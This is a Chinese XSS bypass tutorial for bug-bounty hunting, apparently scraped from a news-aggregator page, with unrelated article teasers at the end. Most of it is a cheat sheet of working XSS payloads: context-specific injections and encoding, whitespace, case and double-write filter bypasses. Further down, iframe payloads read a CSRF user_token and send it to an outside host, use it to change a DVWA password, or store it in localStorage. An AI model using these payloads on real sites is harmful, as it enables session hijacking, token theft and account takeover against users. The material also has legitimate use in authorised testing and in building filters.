#渗透测试#SRC漏洞挖掘#XSS跨站脚本介绍02绕过

免责声明 本教程仅为合法的教学目的而准备,严禁用于任何形式的违法犯罪活动及其他商业行为,在使用本教程前,您应确保该行为符合当地的法律法规,继续阅读即表示您需自行承担所有操作的后果,如有异议,请立即停止本文章阅读。

目录

漏洞挖掘步骤:

 其他绕过技巧:

 进阶绕过:

常用的绕过技巧:

 xss漏洞绕过:


漏洞挖掘步骤:

找到可能存在漏洞的地方,查看是否有进行处理,没有处理进行相应攻击测试,成功发现漏洞

对于XSS的漏洞挖掘过程,其实就是一个使用Payload不断测试和调整再测试的过程,这个过程我们把它叫做Fuzzing;同样是Fuzzing,有些人挖洞比较高效,有些人却不那么容易挖出漏洞,除了掌握的技术之外,比如编码的绕过处理等,还包含一些技巧性的东西,掌握一些技巧和规律,可以使得挖洞会更加从容。

输出点为HTML标签的文本区域<textarea>输出点</textarea>
<script>alert(1)</script>
输出点为html标签的属性值<input type="text" name="address" value="输出点">
"><script>alert(1)</script>
" οnfοcus="alert(1)
输出点为JavaScript脚本中的字符串<script>var a=”输出点”; </script>
“; alert(1); var b=”
';alert(1);</script>//
输出点为以URL位置的属性值<a href="输出点">click here</a><embed src="输出点"><iframe src="输出点"><object data="输出点">
" οnfοcus="alert(1)
"><script>alert(1)</script>
javascript:alert(1);

 其他绕过技巧:

【浏览器解析过程】
浏览器在解析HTML文档时无论按照什么顺序,主要有三个过程:HTML解析、JS解析和URL解析,每个解析器负责HTML文档中各自对应部分的解析工作。下面以一篇HTML文档解析来简单的讨论下解析器如何协同工作的。
首先浏览器接收到一个HTML文档时,会触发HTML解析器对HTML文档进行词法解析,这一过程完成HTML解码并创建DOM树,接下来JavaScript解析器会介入对内联脚本进行解析,这一过程完成JS的解码工作,如果浏览器遇到需要URL的上下文环境,这时URL解析器也会介入完成URL的解码工作,URL解析器的解码顺序会根据URL所在位置不同,可能在JavaScript解析器之前或之后解析。每个解析过程中也有许多细节,下面再做具体讨论。
基本概念
【HTML字符实体】:在呈现HTML页面时,针对某些特殊字符如“<”或”>”直接使用,浏览器会误以为它们标签的开始或结束,若想正确的在HTML页面呈现特殊字符就需要用到其对应的字符实体。字符实体是一个预先定义好的转义序列,它定义了一些无法在文本内容中输入的字符或符号。字符实体以&开头+预先定义的实体名称,以分号结束,如“<”的实体名称为&lt; 或以&开头+#符号以及字符的十进制数字,如”<”的实体编号为&#60;,字符都是有实体编号的但有些字符没有实体名称。
【JavaScript编码】:最常用的如“\uXXXX”这种写法为Unicode转义序列,表示一个字符,其中xxxx表示一个16进制数字,如”<” Unicode编码为“\u003c”。
【URL编码】:%加字符的ASCII编码对于的2位16进制数字,如”/”对应的URL编码为%2f。

<script>alert(1)</script>
<script>confirm(1)</script>
<script>prompt(1)</script>
<SCRIPT>alert(document.cookie)</SCRIPT>
<sc<script>ript>alert(/xss/)</script>
<img src=1 οnerrοr="setInterval('alert(\"Hello\");', 5000);">
<img src=1 οnerrοr=print(1)>
<img src=x οnerrοr="a='ale';b='rt';c='(1)';eval(a+b+c)">        ##eval()可以将字符串拼接成可执行脚本
<IMG SRC="javascript:alert(1);">
<IMG SRC=javascript:alert(1)>
<IMG SRC=JaVaScRiPt:alert(1)>
<a href=javascript:alert(1)>
<a href=javascript:top["al"+"ert"](1)>
<script>top["al"+"ert"](1)</script>
<details οntοggle=top['al'+'ert'](1) open >
<svg/οnlοad=alert(1)>
<svg%0aοnlοad=alert(1)>
<body οnlοad=alert(1)>
<script>while(1)(window.open());</script>
<iframe allowfullscreen="allowfullscreen" frameborder="0" src="javascript:alert(222)"></iframe>
<input οnblur=alert`1`>111</input>

<img src="app/assets/img/details/loading.png" οnerrοr=eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29")></img>
<video οnlοadstart=[1].find(alert) source src>
<a href="javascript:%0a%61l\u0065rt(1)">click me</a><a href='javascript:%0a%61l\u0065rt(1)'>click me</a>
<svg><animate onbegin=alert`hgj` attributeName=x dur=1s>
<details οntοggle=alert`1` open>
<iframe allowfullscreen="allowfullscreen" frameborder="0" src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></iframe>///PHNjcmlwdD5hbGVydChkb2N1bWVudC5jb29raWUpPC9zY3JpcHQ+
<a href=j&#x61;vascript:&#x61;lert(1)>11</a>
<a/href="%25%36%61avaScript:%25%36%31%25%36%63%25%36%35%25%37%32%25%37%34(1)">click me</a>
<a/href="j    avaScript:al
ert(1)">click me</a>
  <a href="ja    va
sc    ri
p    t:ale    rt(11)">click me..........</a>
<a href="j    avascript:eval('a\x6cert(1)')">111222</a>    【【【利用tab和回车绕过过滤。需要"号包围?】】】#####目前发现只有a连接可以使用这种方式
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4="></object>    【【【data协议】】】img标签data协议不解析js脚本
<object data="data:text/html;&#x62;&#x61;&#x73;&#x65;&#x36;&#x34;,PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4=">
<iframe src="data:text/html,<script>alert(555)</script>"></iframe>
<svg>
<use xlink:href="data:image/svg+xml;base64,PHN2ZyBpZD0icmVjdGFuZ2xlIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiB3aWR0aD0iMTAwIiBoZWlnaHQ9IjEwMCI+CjxhIHhsaW5rOmhyZWY9ImphdmFzY3JpcHQ6YWxlcnQoJ3hzcycpIj48cmVjdCB4PSIwIiB5PSIwIiB3aWR0aD0iMTAwIiBoZWlnaHQ9IjEwMCIgLz48L2E+Cjwvc3ZnPg==#rectangle" />
</svg>

<svg id="rectangle" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="100" height="100">
<a xlink:href="javascript:alert('xss')"><rect x="0" y="0" width="100" height="100" /></a>
</svg>

<svg οnlοad="alert(1)" id="m7" version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg" width="100" height="100"></svg>

svgxss

<svg id="logo" t="1694747017468" class="icon" viewBox="0 0 1024 1024" version="1.1" xmlns="http://www.w3.org/2000/svg" p-id="8526"
    xmlns:xlink="http://www.w3.org/1999/xlink" width="200" height="200">
    <a xlink:href="javascript:alert(document.cookie)">
        <path d="M446.50124 183.429683s-71.363328-3.247974-116.870777 55.568596c-45.528939 58.814524-11.337209 148.651598 10.248411 194.994066 21.584598 46.341445 135.480624 228.190119 139.664923 232.190223 4.151553 4.010337 9.154497 2.322905 9.42772-1.276063 0.275269-3.569292 13.010315-264.227893 2.76088-328.498686-10.248412-64.272839-40.591487-145.927557-45.231157-152.978136zM199.86091 304.604486c-8.156774 0.87288-66.697051 59.253522-71.973218 116.331495-5.301749 57.07388 19.128663 95.057983 87.341231 140.499941 68.664869 48.689932 231.852532 138.264017 234.849796 130.547265 3.001357-7.696286-63.235207-125.387755-117.44076-210.986295-54.201459-85.596494-124.656091-177.262216-132.777049-176.392406z m21.946848 526.487969c49.38578 22.079878 126.322034-27.508517 147.604756-41.930994 19.792788-15.121396 56.353472-42.919509 56.353473-42.919509l-279.836383 7.489578s26.491351 55.276954 75.878154 77.360925z m7.030114-226.13532c-50.083675-25.069979-153.122423-82.662675-157.154249-81.560574-4.030803 1.100054-19.553335 72.743768 12.670577 126.742613 32.223912 53.998845 94.978165 70.511937 123.777071 74.924433 32.379455 4.613064 222.75841 2.551102 221.482347-1.277086-1.122567-3.341095-150.662395-93.782943-200.775746-118.829386z m464.281185-365.957833c-45.503357-58.81657-116.869754-55.568596-116.869754-55.568596-4.63353 7.048533-34.983769 88.703251-45.231157 152.978137-10.249435 64.271816 2.517333 324.928371 2.789532 328.500732 0.275269 3.595898 5.244444 5.281283 9.423627 1.27504 4.1536-4.002151 118.081349-185.850825 139.667993-232.19227 21.553898-46.342468 55.748698-136.177496 10.219759-194.993043zM951.064874 523.395538c-4.02978-1.103124-107.068528 56.492642-157.151179 81.560574-50.083675 25.045419-199.652156 115.488291-200.748117 118.829385-1.302669 3.827165 189.076286 5.891174 221.455741 1.277087 28.79686-4.412496 91.551112-20.925588 123.777071-74.924434 32.253588-53.997821 16.697287-125.643582 12.666484-126.742612zM653.344169 789.161461c21.278629 14.421454 98.245581 64.010873 147.634432 41.930994 49.384757-22.086018 75.881225-77.360925 75.881224-77.360925l-279.837406-7.489578c-0.002047 0 36.556591 27.802206 56.32175 42.919509z m241.551428-368.226503c-5.304819-57.07695-63.84305-115.457592-71.970148-116.331495-8.151657-0.86981-78.608336 90.795912-132.809795 176.393429-54.207599 85.59854-120.439046 203.293079-117.438713 210.986295 3.000334 7.715729 166.212556-81.857333 234.851842-130.547265 68.208475-45.442982 92.672656-83.426061 87.366814-140.500964z" fill="#272536" p-id="8527"></path>
    </a>
</svg>
<style>@keyframes x{}</style><svg style='animation-name:x' onanimatiοnend='alert(789)'></svg><!--使用样式的事件比较冷门-->
<a href=javascript:eval("alert(111);var&#x20;x=new&#x20;XMLHttpRequest();x.open('GET','https://icsl.mobius.com/index/1525029829840748545/1',true);x.withCredentials=true;x.send();var&#x20;d=x.responseText;alert(d);")>99999999</a>
<a href=javascript:eval("var&#x20;a=111;alert(a);alert('222')")>88888888</a>

a=alert,a(1)
[1].find(alert)
top['al'+'ert'](1)
top[/al/.source+/ert/.source](1)
al\u0065rt(1)
top['al\145rt'](1)
top['al\x65rt'](1)
top[8680439..toString(30)](1)
setTimeout('ale'+'rt(1)');                        eval()  setTimeout()   setInterval()  eval(decodeURIComponent("%61%6c%65%72%74%28%31%29"));


(alert)(1)
(1,2,3,4,5,6,7,8,alert)(1)
a=alert,a(1)
[1].find(alert)
top["al"+"ert"](1)
top[/al/.source+/ert/.source](1)
al&#101;rt(2)        //10进制unicode
al&#x65rt(1)        //16进制unicode
al\u0065rt(1)          //unicode
top['al\145rt'](1)  //八进制
top['al\x65rt'](1)  //十六进制
top[8680439..toString(30)](1)

 进阶绕过:

1、绕过 XSS-Filter,利用 <> 标签注入 Html/JavaScript 代码;

2、利用 HTML 标签的属性值进行 XSS 攻击。例如:<img src=“javascript:alert(‘xss’)”/>;(当然并不是所有的 Web 浏览器都支持 Javascript 伪协议,所以此类 XSS 攻击具有一定的局限性)

*3、【【【【回车和 Tab】】】。如果 XSS Filter 仅仅将敏感的输入字符列入**,比如 javascript,用户可以利用空格、回车和 Tab 键来绕过过滤,例如:<a href="javas                cript:al    ert(11)">click me..........</a>

4、利用事件来执行跨站脚本。例如:<img src=“#” “alert(1)”/>,当 src 错误的视乎就会执行 onerror 事件;

5、利用 CSS 跨站。例如:body {backgrund-image: url("javascript:alert('xss')")};##只能在低版本浏览器触发

6、扰乱过滤规则。例如:<IMG SRC=“javaSCript: alert(/xss/);”/>;

*7、【【【【利用字符编码】】】】,通过这种技巧,不仅能让 XSS 代码绕过服务端的过滤,还能更好地隐藏 Shellcode;html编码,url编码,对js进行各种编码( JS 支持 unicode、eacapes、十六进制、十、八进制等编码形式);
<script>a\u006cert(1);</script>                    unicode
<script>eval('a\x6cert(1)');</script>                    十六进制
<script>eval('a\154ert(1)');</script><script>top['al\145rt'](3);</script>    八进制    需通过eval等函数?
8、拆分跨站法,将 XSS 攻击的代码拆分开来,适用于应用程序没有过滤 XSS 关键字符(如<、>)却对输入字符长度有限制的情况下;

9、DOM 型的 XSS 主要是由客户端的脚本通过 DOM 动态地输出数据到页面上,它不依赖于提交数据到服务器,而是从客户端获得DOM中的数据在本地执行。容易导致 DOM 型的 XSS 的输入源包括:Document.URL、Location(.pathname|.href|.search|.hash)、Document.referrer、Window.name、Document.cookie、localStorage/globalStorage;

10.<abc οnclick=alert(1) src=a>Click here</abc>    【【【自定义标签+事件处理器】】】

11.top[](),eval()  setTimeout()   setInterval()  execScript()  Function()等【【【等可以将字符串当作js脚本执行,可以绕过大量黑名单】】】
“top”也可以替换为“window”、“parent”、“self”或“this”

常用的绕过技巧:

1)大小写绕过
用于绕过黑名单(校验报错)安全防护。
例如:<ScRipT>alert('XSS')</sCRIpT>
2)双写绕过
用于绕过黑名单(置空方式)安全防护。
例如:<scrscriptipt>alert('XSS')</scrscriptipt>
3)编码绕过
用于绕过黑名单安全防护
十进制编码(同理十六进制,八进制)
<iframe src=alert(1)>
采用十进制编码后
<iframe src=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;>
注意:标签不能编码,可以不加分好,可以在数字前用0填充,还可以把&#01、&#02、&#09等字符插入代码的头部或任意地方。
4)URL编码绕过
用于后台使用了URL解码的函数场景(URL中的payload肯定支持URL编码)
<script>alert('XSS')</script>
URL编码后
%3Cscript%3Ealert(%27XSS%27)%3C%2Fscript%3E
5)Unicode编码绕过
JavaScript支持Unicode编码
Unicode编码后
<script>\u0061\u006c\u0065\u0072\u0074('XSS')</script>
注意:不能编码符号和标签
6)JavaScript伪协议
<a href="alert(1)">xss</a>
支持伪协议的属性有href,lowsrc,bgsound,background,action,dynsr。此方式针对过滤不严谨的系统使用,比如系统只对
JS符号和关键字过滤,但是没有对"javascript"过滤,就可以利用此方法绕过。如果对"javascript"也会过滤,则可以结合其他的绕过技术一起利用,也可能成功绕过。
data伪协议<a/href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">xxx</a> (老版本浏览器已不支持)
7)`替换括号
<img src="1111" alert`1` />
8)/替换空格
<img/src/οnerrοr=alert(1)>
9)跨站拆分法
用于绕过后台的长度限制,将一个代码通过字符串拼接能力拆分成多条代码。
<script>z='document.'</script>
<script>z+='write("'</script>
<script>z+='<script'</script>
<script>z+='>alert(1'</script>
<script>z+=')</script'</script>
<script>z+='>"'</script>
<script></script>
10)String.fromCharCode()方法
用于黑名单过滤
该方法是JavaScript中的字符串方法,用于把ASCII转换成字符串。
<script>document.writeln(<script>alert("xss")</script>)</script>用String.fromCharCode表示后的形式如下:
<script>document.writeln(String.fromCharCode(60,115,99,114,105,112,116,62,97,108,101,114,116,40,34,88,83,34,41,59,60,47,115,99,114,105,112,116,62))</script>
这个方法需要使用<script>标签包裹,或者配合JavaScript伪协议使用

 xss漏洞绕过:

 

1.过滤空格
可以用/代替空格
用url编码,回车换行也能代替空格,%0a,%09,%0d等代替空格
2.过滤分号引号
使用伪协议<a href=javascript:alert(1)>
3.过滤改写 标签属性事件等关键字
可以尝试大小写绕过
通过url编码绕过,或插入制表换行%0a%0d等url编码(需要在url中注入)
构造不常用的标签进行注入(过滤标签)
4.过滤一些自带的方法
可以拼接字符串绕过(如过滤alert()、Javascript 可以用)
使用html编码
5.将标签替换为空字符,或删除关键字
可以双写绕过
6.过滤括号
可以alert`1`
7.其他
可以使用tab或回车的方式绕过过滤

=
<>
'"`
想办法在标签中增加事件(尖括号被过滤),或增加新的标签(on事件被过滤)使用伪指令
如果页面可以嵌入其他页面,可以通过其他页面来构造payload   如:ng-include属性可以包含其他HTML文件,需要在同一个域名下
除了在文本框,在地址栏也可以注入,拦截包也可以注入
只要能在页面显示的数据都可以注入payload
优先第一个type如:
<input name="1" value="aaa" type="text"  type="hidden" οnclick=alert(2)>
//可以用于注释后面
闭合标签并构造新标签"><a href=javascript:alert(1)><"
闭合属性构造新属性或事件" οnclick="alert(1)   或" οnclick=alert(1) "   或" οnclick=alert(1) //


标签被改写:
直接输入javascript:alert(1)发现script会被识别改写,并且大小写绕过也不行。
那么可以使用单词中间掺杂空白字符的方法,妨碍后端识别指定单词。
符号    URL编码
制表    %09
换行    %0a
退格    %08
注:掺杂以上url编码的payload要提交到浏览器的地址栏才能生效。
test.php?keyword=javascr%09ipt%3Aalert(1)

还有一种方法可以使用提交框进行注入:&#x9
把&#x9插入到关键字之中,如下:
javascr&#x9ipt:alert(1)

自动检测URL,如果发现没有带http://内容则会显示为不合法。
javascr&#x9ipt:alert(1) //http://


事件:
οnclick=alert(1)
οnerrοr=alert(1)
οnmοuseοver=alert(1)
控制台打印
οnclick=console.log(1)

获取其他页面的token
<iframe src="../csrf/" οnlοad=alert(frames[0].document.getElementsByName('user_token')[0].value)>

<iframe src="../csrf/" οnlοad="window.location.href = 'https://www.baidu.com/?user_token='+frames[0].document.getElementsByName('user_token')[0].value">

跳转
<iframe src="../csrf/" οnlοad="window.location.href='http://10.235.213.26:8081/dvwa/vulnerabilities/xss_r/'">
<iframe src="../csrf/" οnlοad="window.location.href='http://www.baidu.com/'">
http://10.235.213.26:8088/
http://localhost:8088/test1_war_exploded/csrftest2.jsp
file:///D:/csrftest.html
<iframe src="../csrf/" οnlοad="window.location.href='D:/csrftest.html'">
D:/csrftest.html

<iframe src="../csrf/" οnlοad=window.location.href='../xss_r/?name=11'>
<iframe src="../csrf/" οnlοad="a='window.location.href=';b='../xss_r/?name=11';eval(a+b);">
<iframe src="../csrf/" οnlοad="window.location.href='../xss_r/?name='+frames[0].document.getElementsByName('user_token')[0].value">
<iframe src="../csrf/" οnlοad=window.location.href='../xss_r/?name='+frames[0].document.getElementsByName('user_token')[0].value>
<iframe src="../csrf/" οnlοad="window.location.href='../csrf/?password_new='+frames[0].document.getElementsByName('user_token')[0].value">
<iframe src="../csrf/" οnlοad=window.location.href="../csrf/?password_new='111'&password_conf='111'&Change='Change'&user_token="+frames[0].document.getElementsByName('user_token')[0].value>
<iframe src="../csrf/" οnlοad=window.location.href="../csrf/?password_new=111&password_conf=111&Change=Change&user_token=123">
<iframe src="../csrf/" οnlοad=window.location.href='www.baidu.com/'>
html和url等编码主要是为了使<>"/等失效,防止影响页面和url结构
使用html实体编号绕过的时候,实体编号必须要是标签中的属性值(href=”实体编号”)
或者事件的值(比如οnclick=”实体编号”)这样浏览器才会翻译解析。比如alert()被过滤了就可以用HTML实体编码
过滤了尖括号就想想能否用on事件来触发漏洞。

将数据保存在localStorage
<iframe src="../csrf/" οnlοad="aaa='123';localStorage.setItem('temp',aaa);">
<iframe src="../csrf/" οnlοad=a=frames[0].document.getElementsByName('user_token')[0].value;alert(a);>
<iframe src="../csrf/" οnlοad=a=frames[0].document.getElementsByName('user_token')[0].value;alert(a);a=JSON.stringify(a);localStorage.setItem("temp2",a);>
<iframe src="../csrf/" οnlοad=a=frames[0].document.getElementsByName('user_token')[0].value;alert(a);localStorage.setItem("temp2",a);>

cookie、sessionStorage、localStorage
js设置和获取上面中的数据
1.localStorage - 没有时间限制的数据存储 

   var arr=[1,2,3];
   localStorage.setItem("temp",arr); //存入 参数: 1.调用的值 2.所要存入的数据 
   console.log(localStorage.getItem("temp"));//输出

 2.清空localStorage
  localStorage.clear(); //

 3.删除键值对
  localStorage.removeItem("arr"); 
 
/JSON对象转JSON字符串
  var obj = {"a": 1,"b": 2};
  obj=JSON.stringify(obj); //转化为JSON字符串
  localStorage.setItem("temp2", obj);

  //JSON字符串转JSON对象
  obj=JSON.parse(localStorage.getItem("temp2"));


测试弹窗:
alert("aaa")
confirm("aaa")
prompt("sometext","defaultvalue")

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/465373.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

设置JAVA以适配华为2288HV2服务器的KVM控制台

华为2288HV2服务器比较老旧了&#xff0c;其管理控制台登录java配置比较麻烦&#xff0c;华为的ibmc_kvm_client_windows客户端测试了几个版本&#xff0c;连接控制台也有问题&#xff0c;最终安装JDK解决。 一、测试环境 主机为WindowsServer2012R2,64位系统 二、Java软件包…

10大软件使用感受分享,数据恢复的得力助手!!

在找数据恢复软件&#xff1f;&#xff01;是不是存在误删重要文件或遭遇硬盘故障&#xff0c;想要找回丢失的数据&#xff1f;别担心&#xff0c;今天我就来给大家分享10款我亲自使用过的数据恢复软件&#xff0c;分别给你说说它们各自的优缺点&#xff0c;希望能帮你们在数据…

一周模电速成(3) 超详细!入门小白速成!!!

目录 稳压二极管 整流二极管 晶体三极管 三极管结构图 三极管的特点 1、如何让它工作在放大状态呢 2、如何工作在截止状态呢&#xff1f; 3、如何让三极管工作在饱和状态呢&#xff1f; 在电路中要如何实现呢&#xff1f;工作在各个状态有什么特点呢&#xff1f; 截止…

Python的条件语句if与match...case

一、定义 条件语句&#xff0c;也叫作选择语句、判断语句。根绝特定条件判断是否成立&#xff0c;执行不同的语句段。简单来说&#xff0c;满足条件执行&#xff0c;不满足不执行。 条件语句是使用关键字 if 做判断&#xff0c;根据不同情况结合不同的关键字else 或者 elif来…

SpringBoot基础系列学习(二):日志

文章目录 一丶日志控制台介绍二丶日志的用法三丶日志级别四丶配置文件参数及介绍五丶slf4j 一丶日志控制台介绍 只要引用了spring-boot-starter依赖,就无需引入日志依赖,里面自带了logging依赖,默认情况下,springBoot使用Logback来记录日志,并用INFO级别输出到控制台 二丶日…

Bert模型介绍

简介 BERT&#xff08;Bidirectional Encoder Representations from Transformers&#xff09;是一个基于Transformer的双向编码器表示模型&#xff0c;它通过预训练学习到了丰富的语言表示&#xff0c;并可以用于各种自然语言处理任务。 模型结构&#xff1a;BERT基于Transf…

AI驱动无人驾驶:安全与效率能否兼得?

内容概要 如今&#xff0c;人工智能正以其神奇的魔力驱动着无人驾驶的浪潮&#xff0c;带来了无数令人兴奋的可能性。这一领域的最新动态显示&#xff0c;AI技术在车辆的决策过程和实时数据分析中发挥着重要作用&#xff0c;帮助车辆更聪明地应对复杂的交通环境。通过实时监测…

Windows、Linux系统上进行CPU和内存压力测试

CPU和内存压力测试 1. Linux环境 Linux环境下&#xff0c;我们可以用 stress 工具进行内存、CPU等的压力测试。 【1】. stress工具说明 [kalamikysrv1 ~]$ stress --help stress imposes certain types of compute stress on your systemUsage: stress [OPTION [ARG]] ...-…

从零开始的c++之旅——多态

1. 多态的概念 通俗来说就是多种形态。 多态分为编译时多态&#xff08;静态多态&#xff09;和运行时多态&#xff08;动态多态&#xff09;。 编译时多态主要就是我们之前提过的函数重载和函数模板&#xff0c;同名提高传不同的参数就可以调 用不同的函数&#xff0c…

linux node vue3 部署手册

第一步&#xff1a;在linux 系统中安装node 1、在网址&#xff1a;https://nodejs.org/dist/ 下载对应版本的安装包。 2、解压缩下载的压缩包到任意位置&#xff0c;推荐home下。 样例路径为&#xff1a;/home/syl/node-v20.17.0-linux-x64.tar.xz 样例&#xff1a; tar -xv…

探索C/C++的奥秘之string类

string叫串&#xff0c;是一个管理字符数组的类&#xff0c;其实就是一个字符数组的顺序表&#xff0c;通过成员函数对字符串进行增、删、查、改。 C标准库里面的东西都在std这个命名空间中。 int main() { string s1; std:: string s2; std::string name("x…

【刷题】优选算法

优选算法 双指针 202. 快乐数 链接&#xff1a;. - 力扣&#xff08;LeetCode&#xff09; 【思路】 第一个实例是快乐数&#xff0c;因为会变为1且不断是1的循环 第二个实例不可能为1&#xff0c;因为会陷入一个没有1的循环 根据两个实例和鸽巢原理可以发现不断的平方和最…

openEuler的aarch64操作系统上安装k3s

1、需要安装docker容器引擎&#xff08;省略&#xff09; 2、安装ks3命令 curl -sfL https://rancher-mirror.rancher.cn/k3s/k3s-install.sh | INSTALL_K3S_MIRRORcn INSTALL_K3S_SKIP_SELINUX_RPMtrue INSTALL_K3S_SELINUX_WARNtrue sh -s -- --docker 其中&#xff1a…

Synchronized锁、锁的四种状态、锁的升级(偏向锁,轻量级锁,重量级锁)

目录 1. Synchronized锁 1.1 介绍 1.2 三种应用方式★ 1.2.1 synchronized同步方法 1.2.2 synchronized 同步静态方法 1.2.3 synchronized 同步代码块 1.3 Synchronized锁底层原理 1.3.1 简答 1.3.2 详述 1. Monitor对象 2. Monitor与对象锁关联时 具体的流程&#…

【网络】数据链路层

目录 以太网 以太网的帧格式 MSS 交换机 MTU对UDP的影响 ARP协议 数据链路层是软件层的最底层协议&#xff0c;它的下面就是物理层&#xff0c;那么下面我们就来介绍一下它负责在网络通信中完成什么工作 我们前面说的IP协议是解决如何进行跨网络转发的&#xff0c;也就是…

零基础‘自外网到内网’渗透过程详细记录(cc123靶场)——下

细节较多&#xff0c;篇幅较大&#xff0c;分为上/下两部分发布在两篇文章内 另一部分详见下面文章 零基础‘自外网到内网’渗透过程详细记录(cc123靶场)——上https://blog.csdn.net/weixin_62808713/article/details/143572185 八、第二层数据库服务器权限获取 猜到新闻资…

13-鸿蒙开发中的综合实战:华为登录界面

大家好&#xff0c;欢迎来到鸿蒙开发系列教程&#xff01;今天&#xff0c;我们将通过一个综合实战项目来实现一个华为登录界面。这个项目将涵盖输入框组件、按钮组件、文本组件和布局容器的使用&#xff0c;帮助你更好地理解和应用这些组件。无论你是初学者还是有一定经验的开…

告别复杂协作:Adobe XD的简化替代方案

Adobe XD是一款集成UI/UX设计和原型创建功能的设计平台。它允许用户进行网页、移动应用的设计&#xff0c;以及原型的绘制&#xff0c;并且能够将静态设计转化为动态的交互原型。尽管Adobe XD提供了这些功能&#xff0c;但它依赖于第三方插件&#xff0c;且插件库有限&#xff…

ctfshow web文件上传 web166-170

1.web166 通过源码上传发现只能传zip&#xff0c;尝试一下图片上传也不行 把随便一张图片打包成zip文件&#xff0c;上传后发现有一个下载的地方,猜测是文件上传&#xff0c;尝试zip伪协议发现失败&#xff0c;打包php文件也失败了&#xff0c;不知为什么&#xff0c;&#x…

二开CS—上线流量特征shellcode生成修改模板修改反编译打包

前言 免杀几乎讲的差不多了&#xff0c;今天讲个CS的二次开发。我们原生态的CS特征肯定都是被提取完的了&#xff0c;包括它的流量特征&#xff0c;而我们要做的就是把它的流量特征给打乱&#xff0c;还可以修改生成的后门&#xff0c;使其生成即免杀。 实验环境 CS4.4&…